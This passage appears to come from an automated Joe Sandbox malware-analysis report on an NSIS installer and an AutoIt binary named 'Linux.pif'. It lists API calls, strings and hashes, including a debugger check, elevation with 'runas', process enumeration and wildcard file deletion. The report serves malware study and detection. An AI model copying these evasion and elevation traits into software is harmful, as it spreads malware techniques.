CallWindowProcW.USER32(?,00000200,?,?), ref: 00404471

Part of subcall function 00403937: SendMessageW.USER32(?,?,00000000,00000000), ref: 00403949

Strings

, xrefs: 004043DB

Memory Dump Source

Source File: 00000000.00000002.1670177547.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1670149166.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670204057.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670379188.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670379188.000000000041E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670379188.0000000000432000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670379188.0000000000469000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670379188.00000000004C4000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670568906.00000000004FD000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Setup.jbxd

Similarity

API ID: Window$CallMessageProcSendVisible
String ID:
API String ID: 3748168415-3916222277
Opcode ID: 9fdaa817c79f8fe2df8c01310cb7398ca4e4993dd3d52cefc4da2c44810d4525
Instruction ID: 950938491bfceb2c9a9aaf13ad46a3c9d7f26d5a45bb245acca2c437b02a68c6
Opcode Fuzzy Hash: 9fdaa817c79f8fe2df8c01310cb7398ca4e4993dd3d52cefc4da2c44810d4525
Instruction Fuzzy Hash: 52119EB1500228EBDF11AF91DD80E9B3729AF84325F00803BFB09751A2C77D89519FAA

Function 00406042 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 53stringCOMMON

Download Yara Rule

APIs

Part of subcall function 00405AB8: lstrcpynW.KERNEL32(?,?,00002004,00403483,004732A0,NSIS Error), ref: 00405AC5

Part of subcall function 00405807: CharNextW.USER32(?,004CC0A0,0045FE18,?,00406059,0045FE18,0045FE18,le@,004CC0A0,00000002,0040656C,?,004E00C8), ref: 00405815
Part of subcall function 00405807: CharNextW.USER32(00000000), ref: 0040581A
Part of subcall function 00405807: CharNextW.USER32(00000000), ref: 00405832

lstrlenW.KERNEL32(0045FE18,?,00000000,0045FE18,0045FE18,le@,004CC0A0,00000002,0040656C,?,004E00C8), ref: 004060A3
GetFileAttributesW.KERNEL32(0045FE18,0045FE18), ref: 004060B0

Strings

le@, xrefs: 00406044

Memory Dump Source

Source File: 00000000.00000002.1670177547.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1670149166.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670204057.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670379188.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670379188.000000000041E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670379188.0000000000432000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670379188.0000000000469000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670379188.00000000004C4000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670568906.00000000004FD000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Setup.jbxd

Similarity

API ID: CharNext$AttributesFilelstrcpynlstrlen
String ID: le@
API String ID: 3248276644-3503961380
Opcode ID: fec7732a330a9e88aa59d831f20b6da9eee86d01c908d7265f8837d9fbe5c718
Instruction ID: e7db63e0e35e78dffee219aaf6f46514b8882a9137312b684398864940085c4f
Opcode Fuzzy Hash: fec7732a330a9e88aa59d831f20b6da9eee86d01c908d7265f8837d9fbe5c718
Instruction Fuzzy Hash: DF01F22219592159D622A73A1D88EAF2584CE86364717063FFC43B21D3DF3C896389BE

Function 0040243C Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 28stringCOMMON

Download Yara Rule

APIs

GetPrivateProfileStringW.KERNEL32(00000000,?,?,?,00002003,00000000), ref: 00402478
lstrcmpW.KERNEL32(?,?,?,00002003,00000000), ref: 00402483

Strings

!N~, xrefs: 0040243C

Memory Dump Source

Source File: 00000000.00000002.1670177547.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1670149166.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670204057.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670379188.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670379188.000000000041E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670379188.0000000000432000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670379188.0000000000469000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670379188.00000000004C4000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670568906.00000000004FD000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Setup.jbxd

Similarity

API ID: PrivateProfileStringlstrcmp
String ID: !N~
API String ID: 623250636-529124213
Opcode ID: fc1006ea5aab162bbc40b6df3c94a123494fc128051bda68380e80ee4f4a212d
Instruction ID: 97e2760095c772b904354d470d60f9b26315119a41df21907abd1c807f0e2d98
Opcode Fuzzy Hash: fc1006ea5aab162bbc40b6df3c94a123494fc128051bda68380e80ee4f4a212d
Instruction Fuzzy Hash: 5CF01275900214ABDB00BFA8DD859AE3BBCAB08300B00412EF601F71A2D67449019B94

Function 004056EC Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 24processCOMMON

Download Yara Rule

APIs

CreateProcessW.KERNEL32(00000000,?,00000000,00000000,00000000,00000000,00000000,00000000,0045FDD0,Error launching installer), ref: 00405711
CloseHandle.KERNEL32(?), ref: 0040571E

Strings

Error launching installer, xrefs: 004056F5

Memory Dump Source

Source File: 00000000.00000002.1670177547.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1670149166.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670204057.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670379188.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670379188.000000000041E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670379188.0000000000432000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670379188.0000000000469000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670379188.00000000004C4000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670568906.00000000004FD000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Setup.jbxd

Similarity

API ID: CloseCreateHandleProcess
String ID: Error launching installer
API String ID: 3712363035-66219284
Opcode ID: 8a3581b750d29c0f06103fe1997c215cccf07df72e665a86a296c08cae4d825b
Instruction ID: 53ccf60803aa8836d7366e45e4d019fb0888d0b7e4ffe46943b31cf4c1d238f5
Opcode Fuzzy Hash: 8a3581b750d29c0f06103fe1997c215cccf07df72e665a86a296c08cae4d825b
Instruction Fuzzy Hash: A6E0EC70500209BBEB009B64EE49D7B7BBCEB44345F404436AD51E2151D774D81C9A69

Function 00405864 Relevance: 5.0, APIs: 4, Instructions: 37stringCOMMON

Download Yara Rule

APIs

lstrlenA.KERNEL32(00406495,?,00000000,00000000,?,00000000,00406495,00000000,[Rename]), ref: 00405874
lstrcmpiA.KERNEL32(00000000,00406495), ref: 0040588C
CharNextA.USER32(00000000,?,00000000,00406495,00000000,[Rename]), ref: 0040589D
lstrlenA.KERNEL32(00000000,?,00000000,00406495,00000000,[Rename]), ref: 004058A6

Memory Dump Source

Source File: 00000000.00000002.1670177547.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1670149166.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670204057.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670379188.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670379188.000000000041E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670379188.0000000000432000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670379188.0000000000469000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670379188.00000000004C4000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670568906.00000000004FD000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Setup.jbxd

Similarity

API ID: lstrlen$CharNextlstrcmpi
String ID:
API String ID: 190613189-0
Opcode ID: cd19360c238f1349a786dd8267181da6a2629ba8d2dc02acca249f0761a9dd09
Instruction ID: 678e37072a379e1faffe29b6aa71237c6b28e2b3d53614aa4618b887c013b5be
Opcode Fuzzy Hash: cd19360c238f1349a786dd8267181da6a2629ba8d2dc02acca249f0761a9dd09
Instruction Fuzzy Hash: 2CF0C236501448EFE701AFA5CD00C9F7BA8EF46350B2580BAEC40F7311D634DE019BA8

Analysis Process: Linux.pifPID: 3992, Parent PID: 6380COMMON

Execution Graph

Execution Coverage:	4.2%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	2.2%
Total number of Nodes:	2000
Total number of Limit Nodes:	50

Executed Functions

Function 002F5240 Relevance: 19.4, APIs: 8, Strings: 3, Instructions: 147
windowCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetCurrentDirectoryW.KERNEL32(00007FFF,?), ref: 002F526C
IsDebuggerPresent.KERNEL32 ref: 002F527E
GetFullPathNameW.KERNEL32(00007FFF,?,?), ref: 002F52E6

Part of subcall function 002F1821: _memmove.LIBCMT ref: 002F185B

Part of subcall function 002EBBC6: GetFullPathNameW.KERNEL32(?,00007FFF,?,?), ref: 002EBC07

SetCurrentDirectoryW.KERNEL32(?), ref: 002F5366
MessageBoxA.USER32(00000000,It is a violation of the AutoIt EULA to attempt to reverse engineer this program.,AutoIt,00000010), ref: 00330B2E
SetCurrentDirectoryW.KERNEL32(?), ref: 00330B66
GetForegroundWindow.USER32(runas,?,?,?,00000001,?,00396D10), ref: 00330BE9
ShellExecuteW.SHELL32(00000000), ref: 00330BF0

Part of subcall function 002F514C: GetSysColorBrush.USER32(0000000F), ref: 002F5156
Part of subcall function 002F514C: LoadCursorW.USER32(00000000,00007F00), ref: 002F5165
Part of subcall function 002F514C: LoadIconW.USER32(00000063), ref: 002F517C
Part of subcall function 002F514C: LoadIconW.USER32(000000A4), ref: 002F518E
Part of subcall function 002F514C: LoadIconW.USER32(000000A2), ref: 002F51A0
Part of subcall function 002F514C: LoadImageW.USER32(00000063,00000001,00000010,00000010,00000000), ref: 002F51C6
Part of subcall function 002F514C: RegisterClassExW.USER32(?), ref: 002F521C

Part of subcall function 002F50DB: CreateWindowExW.USER32(00000000,AutoIt v3,AutoIt v3,00CF0000,80000000,80000000,0000012C,00000064,00000000,00000000,00000000,00000001), ref: 002F5109
Part of subcall function 002F50DB: CreateWindowExW.USER32(00000000,edit,00000000,50B008C4,00000000,00000000,00000000,00000000,00000000,00000001,00000000), ref: 002F512A
Part of subcall function 002F50DB: ShowWindow.USER32(00000000), ref: 002F513E
Part of subcall function 002F50DB: ShowWindow.USER32(00000000), ref: 002F5147

Part of subcall function 002F59D3: _memset.LIBCMT ref: 002F59F9
Part of subcall function 002F59D3: Shell_NotifyIconW.SHELL32(00000000,?), ref: 002F5A9E

Strings

It is a violation of the AutoIt EULA to attempt to reverse engineer this program., xrefs: 00330B28
runas, xrefs: 00330BE4
AutoIt, xrefs: 00330B23

Memory Dump Source

Source File: 0000000A.00000002.2922109004.00000000002E1000.00000020.00000001.01000000.00000005.sdmp, Offset: 002E0000, based on PE: true

Associated: 0000000A.00000002.2922068757.00000000002E0000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2922190098.0000000000370000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2922190098.0000000000396000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2922250653.00000000003A0000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2922272812.00000000003A9000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_2e0000_Linux.jbxd

Similarity

API ID: LoadWindow$Icon$CurrentDirectory$CreateFullNamePathShow$BrushClassColorCursorDebuggerExecuteForegroundImageMessageNotifyPresentRegisterShellShell__memmove_memset
String ID: AutoIt$It is a violation of the AutoIt EULA to attempt to reverse engineer this program.$runas
API String ID: 529118366-2030392706
Opcode ID: 6ba0388f4622699111560c67a55431dc29844c336e8e77b873d4451bf70d5c09
Instruction ID: 680992e9ee194776d83b8102c382fcf98efa784020a3b6105efabc5221636cac
Opcode Fuzzy Hash: 6ba0388f4622699111560c67a55431dc29844c336e8e77b873d4451bf70d5c09
Instruction Fuzzy Hash: 8351F531A1824CEADF17EBB4DC95EFEFB7CAB06380F1005B5F65162162CAA05565CB21

Function 00343CE2 Relevance: 14.2, APIs: 7, Strings: 1, Instructions: 167
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00300284: GetFullPathNameW.KERNEL32(?,00007FFF,?,00000000,?,?,002F2A58,?,00008000), ref: 003002A4

Part of subcall function 00344FEC: GetFileAttributesW.KERNELBASE(?,00343BFE), ref: 00344FED

FindFirstFileW.KERNELBASE(?,?), ref: 00343D96
DeleteFileW.KERNEL32(?,?,00000000,?,?,?,?), ref: 00343E3E
MoveFileW.KERNEL32(?,?), ref: 00343E51
DeleteFileW.KERNEL32(?,?,?,?,?), ref: 00343E6E
FindNextFileW.KERNELBASE(00000000,00000010), ref: 00343E90
FindClose.KERNEL32(00000000,?,?,?,?), ref: 00343EAC

Strings

\*.*, xrefs: 00343D41, 00343D4A, 00343D5F

Memory Dump Source

Source File: 0000000A.00000002.2922109004.00000000002E1000.00000020.00000001.01000000.00000005.sdmp, Offset: 002E0000, based on PE: true

Associated: 0000000A.00000002.2922068757.00000000002E0000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2922190098.0000000000370000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2922190098.0000000000396000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2922250653.00000000003A0000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2922272812.00000000003A9000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_2e0000_Linux.jbxd

Similarity

API ID: File$Find$Delete$AttributesCloseFirstFullMoveNameNextPath
String ID: \*.*
API String ID: 4002782344-1173974218
Opcode ID: 8f86d2a0e74975c8392408c96be682fd943871b88861b54413cd4748f8ba158c
Instruction ID: 4eea8c716a6d4bcf6efbf61a8b8f067264a3af62f5e8c58347d0a43928ddc5a3
Opcode Fuzzy Hash: 8f86d2a0e74975c8392408c96be682fd943871b88861b54413cd4748f8ba158c
Instruction Fuzzy Hash: 7C51813280211DEACF16EBE0CA929FDB7B9AF11340F600165E545BB092EB316F59CF61

Function 0034FA36 Relevance: 12.4, APIs: 6, Strings: 1, Instructions: 120
filesleepCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 002F1A36: _memmove.LIBCMT ref: 002F1A77

FindFirstFileW.KERNELBASE(?,?,*.*,?,?,00000000,00000000), ref: 0034FA83
FindClose.KERNELBASE(00000000), ref: 0034FB96

Part of subcall function 002E52B0: PeekMessageW.USER32(?,00000000,00000000,00000000,00000001), ref: 002E52E6

Sleep.KERNEL32(0000000A), ref: 0034FAB3
_wcscmp.LIBCMT ref: 0034FAC7
_wcscmp.LIBCMT ref: 0034FAE2
FindNextFileW.KERNELBASE(?,?), ref: 0034FB80

Strings

*.*, xrefs: 0034FA68

Memory Dump Source

Source File: 0000000A.00000002.2922109004.00000000002E1000.00000020.00000001.01000000.00000005.sdmp, Offset: 002E0000, based on PE: true

Associated: 0000000A.00000002.2922068757.00000000002E0000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2922190098.0000000000370000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2922190098.0000000000396000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2922250653.00000000003A0000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2922272812.00000000003A9000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_2e0000_Linux.jbxd

Similarity

API ID: Find$File_wcscmp$CloseFirstMessageNextPeekSleep_memmove
String ID: *.*
API String ID: 2185952417-438819550
Opcode ID: e9d68e516d9d9dadde89acbe2c1310c5d9b538e81cbb0ce80d787fff01fc4fb5
Instruction ID: 929548e507f911c6db18320f3062378d9a558d96070293cf17c6f34ecd16cec6
Opcode Fuzzy Hash: e9d68e516d9d9dadde89acbe2c1310c5d9b538e81cbb0ce80d787fff01fc4fb5
Instruction Fuzzy Hash: 56418F7190021E9FCF16DF64CC59AEEBBF8FF05350F584466E818A6291EB30AA54CF90

Function 002F5D13 Relevance: 10.7, APIs: 7, Instructions: 223
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetVersionExW.KERNEL32(?), ref: 002F5D40

Part of subcall function 002F1821: _memmove.LIBCMT ref: 002F185B

GetCurrentProcess.KERNEL32(?,00370A18,00000000,00000000,?), ref: 002F5E07
IsWow64Process.KERNEL32(00000000), ref: 002F5E0E
GetNativeSystemInfo.KERNELBASE(00000000), ref: 002F5E54
FreeLibrary.KERNEL32(00000000), ref: 002F5E5F
GetSystemInfo.KERNEL32(00000000), ref: 002F5E90
GetSystemInfo.KERNEL32(00000000), ref: 002F5E9C

Memory Dump Source

Source File: 0000000A.00000002.2922109004.00000000002E1000.00000020.00000001.01000000.00000005.sdmp, Offset: 002E0000, based on PE: true

Associated: 0000000A.00000002.2922068757.00000000002E0000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2922190098.0000000000370000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2922190098.0000000000396000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2922250653.00000000003A0000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2922272812.00000000003A9000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_2e0000_Linux.jbxd

Similarity

API ID: InfoSystem$Process$CurrentFreeLibraryNativeVersionWow64_memmove
String ID:
API String ID: 1986165174-0
Opcode ID: cb8821b7d94a643180b11e4ea2eb6c25b2b81936abda47ff07d4a0f102b6c0e7
Instruction ID: 4158be8d45d3df48d67cbad4b4d46c804fecc287e8145f922dbc24799db1ec79
Opcode Fuzzy Hash: cb8821b7d94a643180b11e4ea2eb6c25b2b81936abda47ff07d4a0f102b6c0e7
Instruction Fuzzy Hash: B691F631559BD8DEC736CB7884904BBFFE56F29340F880A6ED2CB93A01D230A558C759

Function 00344005 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 91
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00300284: GetFullPathNameW.KERNEL32(?,00007FFF,?,00000000,?,?,002F2A58,?,00008000), ref: 003002A4

Part of subcall function 00344FEC: GetFileAttributesW.KERNELBASE(?,00343BFE), ref: 00344FED

FindFirstFileW.KERNELBASE(?,?), ref: 0034407C
DeleteFileW.KERNELBASE(?,?,?,?), ref: 003440CC
FindNextFileW.KERNELBASE(00000000,00000010), ref: 003440DD
FindClose.KERNEL32(00000000), ref: 003440F4
FindClose.KERNEL32(00000000), ref: 003440FD

Strings

\*.*, xrefs: 0034404E

Memory Dump Source

Source File: 0000000A.00000002.2922109004.00000000002E1000.00000020.00000001.01000000.00000005.sdmp, Offset: 002E0000, based on PE: true

Associated: 0000000A.00000002.2922068757.00000000002E0000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2922190098.0000000000370000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2922190098.0000000000396000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2922250653.00000000003A0000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2922272812.00000000003A9000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_2e0000_Linux.jbxd

Similarity

API ID: FileFind$Close$AttributesDeleteFirstFullNameNextPath
String ID: \*.*
API String ID: 2649000838-1173974218
Opcode ID: 9fbc2d2d2f2c64799f2037f92a38539a642879279cc8ece3d0352efcd7c33acb
Instruction ID: fccd1ee8eab9d094e106f320b139d1600e8aa85d4799b3ebbe4dab99a95454dc
Opcode Fuzzy Hash: 9fbc2d2d2f2c64799f2037f92a38539a642879279cc8ece3d0352efcd7c33acb
Instruction Fuzzy Hash: 1F317031019349DBC316EB60C8959AFF7ECBE91344F840E2DF5D586192EB21A929CB53

Function 00344148 Relevance: 6.1, APIs: 4, Instructions: 85processCOMMON

Download Yara Rule

APIs

CreateToolhelp32Snapshot.KERNEL32 ref: 0034416D
Process32FirstW.KERNEL32(00000000,?), ref: 0034417B
Process32NextW.KERNEL32(00000000,?), ref: 0034419B
FindCloseChangeNotification.KERNELBASE(00000000), ref: 00344245

Memory Dump Source

Source File: 0000000A.00000002.2922109004.00000000002E1000.00000020.00000001.01000000.00000005.sdmp, Offset: 002E0000, based on PE: true

Associated: 0000000A.00000002.2922068757.00000000002E0000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2922190098.0000000000370000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2922190098.0000000000396000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2922250653.00000000003A0000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2922272812.00000000003A9000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_2e0000_Linux.jbxd

Similarity

API ID: Process32$ChangeCloseCreateFindFirstNextNotificationSnapshotToolhelp32
String ID:
API String ID: 3243318325-0
Opcode ID: b18c92cb33d8b5f6eca5ef7602a9b7c9383800dc68626559e9b801fce817a25f
Instruction ID: de73caf8ed9756a1d7bcaf126bf1b02474da245e1237cd4c136d6dd5fb77d51e
Opcode Fuzzy Hash: b18c92cb33d8b5f6eca5ef7602a9b7c9383800dc68626559e9b801fce817a25f
Instruction Fuzzy Hash: B431B171108345DBD305EF50D885BBFBBE8BF95340F40093DF585861A1EBB1A959CB52

Function 002EB020 Relevance: 5.6, APIs: 3, Instructions: 1146COMMON

Download Yara Rule

APIs

Part of subcall function 002F3740: CharUpperBuffW.USER32(?,003A71DC,00000000,?,00000000,003A71DC,?,002E53A5,?,?,?,?), ref: 002F375D

_memmove.LIBCMT ref: 002EB68A

Memory Dump Source

Source File: 0000000A.00000002.2922109004.00000000002E1000.00000020.00000001.01000000.00000005.sdmp, Offset: 002E0000, based on PE: true

Associated: 0000000A.00000002.2922068757.00000000002E0000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2922190098.0000000000370000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2922190098.0000000000396000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2922250653.00000000003A0000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2922272812.00000000003A9000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_2e0000_Linux.jbxd

Similarity

API ID: BuffCharUpper_memmove
String ID:
API String ID: 2819905725-0
Opcode ID: 08693df26b32489e2e912d40d1ba52587c72ebac093bb906f6dafd366260eb3a
Instruction ID: 4dc3da038e8c2b9aa98b02ebb48a51999622626582cf67be86ac738ad9adbf33
Opcode Fuzzy Hash: 08693df26b32489e2e912d40d1ba52587c72ebac093bb906f6dafd366260eb3a
Instruction Fuzzy Hash: 7FA2A9706583918FC722DF26C480B2BB7E1BF85304F94896DE89A8B361D774ED55CB82

Function 0034494A Relevance: 4.5, APIs: 3, Instructions: 25fileCOMMON

Download Yara Rule

APIs

GetFileAttributesW.KERNELBASE(?,0032FC86), ref: 0034495A
FindFirstFileW.KERNELBASE(?,?), ref: 0034496B
FindClose.KERNEL32(00000000), ref: 0034497B

Memory Dump Source

Source File: 0000000A.00000002.2922109004.00000000002E1000.00000020.00000001.01000000.00000005.sdmp, Offset: 002E0000, based on PE: true

Associated: 0000000A.00000002.2922068757.00000000002E0000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2922190098.0000000000370000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2922190098.0000000000396000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2922250653.00000000003A0000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2922272812.00000000003A9000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_2e0000_Linux.jbxd

Similarity

API ID: FileFind$AttributesCloseFirst
String ID:
API String ID: 48322524-0
Opcode ID: e03b7a9914935dc5085c381128a09195ebb88f857ea172525209c56eab7b7efe
Instruction ID: 8e288133961ae6ba92fc2546022163b8c3e35bf288a7b758904a7e14b9151f37
Opcode Fuzzy Hash: e03b7a9914935dc5085c381128a09195ebb88f857ea172525209c56eab7b7efe
Instruction Fuzzy Hash: D8E02636821505EB8226673CEC0D8EB779C9F06339F500B25F839C20E0EB70BD84A6D6

Function 002E94E0 Relevance: 3.5, APIs: 2, Instructions: 539COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000A.00000002.2922109004.00000000002E1000.00000020.00000001.01000000.00000005.sdmp, Offset: 002E0000, based on PE: true

Associated: 0000000A.00000002.2922068757.00000000002E0000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2922190098.0000000000370000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2922190098.0000000000396000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2922250653.00000000003A0000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2922272812.00000000003A9000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_2e0000_Linux.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 9e9e07c09e36bd9bbc12e73a6ddb8e498016a3a3da44bdc4bd1e8e549edbaf43
Instruction ID: 79ed75186e72227b029e117e6c1d667f731202ac396cf33aebcd5f482ebf0fcc
Opcode Fuzzy Hash: 9e9e07c09e36bd9bbc12e73a6ddb8e498016a3a3da44bdc4bd1e8e549edbaf43
Instruction Fuzzy Hash: 0422EEB0960256DFDB25DF56C890BBEB7B0FF05300F94816AE846AB351E370AD94CB91

Function 002EBC70 Relevance: 50.4, APIs: 22, Strings: 6, Instructions: 1379sleeptimeCOMMON

Download Yara Rule

APIs

timeGetTime.WINMM ref: 002EBF57

Part of subcall function 002E52B0: PeekMessageW.USER32(?,00000000,00000000,00000000,00000001), ref: 002E52E6

Sleep.KERNEL32(0000000A,?,?), ref: 003236B5

Strings

@TRAY_ID, xrefs: 00323FCD
@GUI_WINHANDLE, xrefs: 003237C1
CALL, xrefs: 002EC277
@GUI_CTRLHANDLE, xrefs: 00323816
@COM_EVENTOBJ, xrefs: 00323D2E
@GUI_CTRLID, xrefs: 0032376C

Memory Dump Source

Source File: 0000000A.00000002.2922109004.00000000002E1000.00000020.00000001.01000000.00000005.sdmp, Offset: 002E0000, based on PE: true

Associated: 0000000A.00000002.2922068757.00000000002E0000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2922190098.0000000000370000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2922190098.0000000000396000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2922250653.00000000003A0000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2922272812.00000000003A9000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_2e0000_Linux.jbxd

Similarity

API ID: MessagePeekSleepTimetime
